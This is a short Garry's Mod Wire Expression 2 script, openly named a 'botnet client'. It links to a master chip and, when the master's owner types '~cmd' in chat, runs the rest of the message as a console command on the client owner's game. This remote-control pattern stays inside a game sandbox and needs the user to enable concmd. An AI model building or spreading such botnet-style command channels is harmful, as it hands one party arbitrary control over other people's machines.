@name Botnet client
@persist Master:entity
if(first())
{
    runOnChat(1)
    function getMaster()
    {
        findByClass("gmod_wire_expression2")
        for(I=1,findCount())
        {
            local TE = findToArray()[I,entity]
            if(TE:getName()=="BTNTMSTRPOTATO")
            {
                Master = TE
                setName("SLAVE OF "+Master:owner():name():upper())
                break
            }
        }
    }
    
    if(!convarnum("wire_expression2_concmd"))
    {
        print("Enable concmd with \"wire_expression2_concmd 1\"")
        selfDestruct()
    }
    getMaster()
    timer("gm",10000)
}

if(clk("gm"))
{
    stoptimer("gm")
    timer("gm",10000)
    getMaster()
}

if(chatClk())
{
    if(lastSpoke()==owner())
    {
        local LS = owner():lastSaid():explode(" ")
        if(LS[1,string]:lower()=="~req")
        {
            hideChat(1)
            print("Request sent to Master: "+LS[2,string])
        }
    }elseif(lastSpoke()==Master:owner())
    {
        local LS = Master:owner():lastSaid():explode(" ")
        if(LS[1,string]=="~cmd")
        {
            print("You've gotten a command! Executing now...")
            if(LS[2,string]=="func")
            {
                switch(LS[3,string])
                {
                    case "melon",propSpawn("models/props_junk/watermelon01.mdl",owner():aimPos()-owner():eye()*25,0),break
                }
            }else
            {
                local Str = LS:concat(" ",2)
                print(Str)
                concmd(Str)
            }
            
        }
    }
}
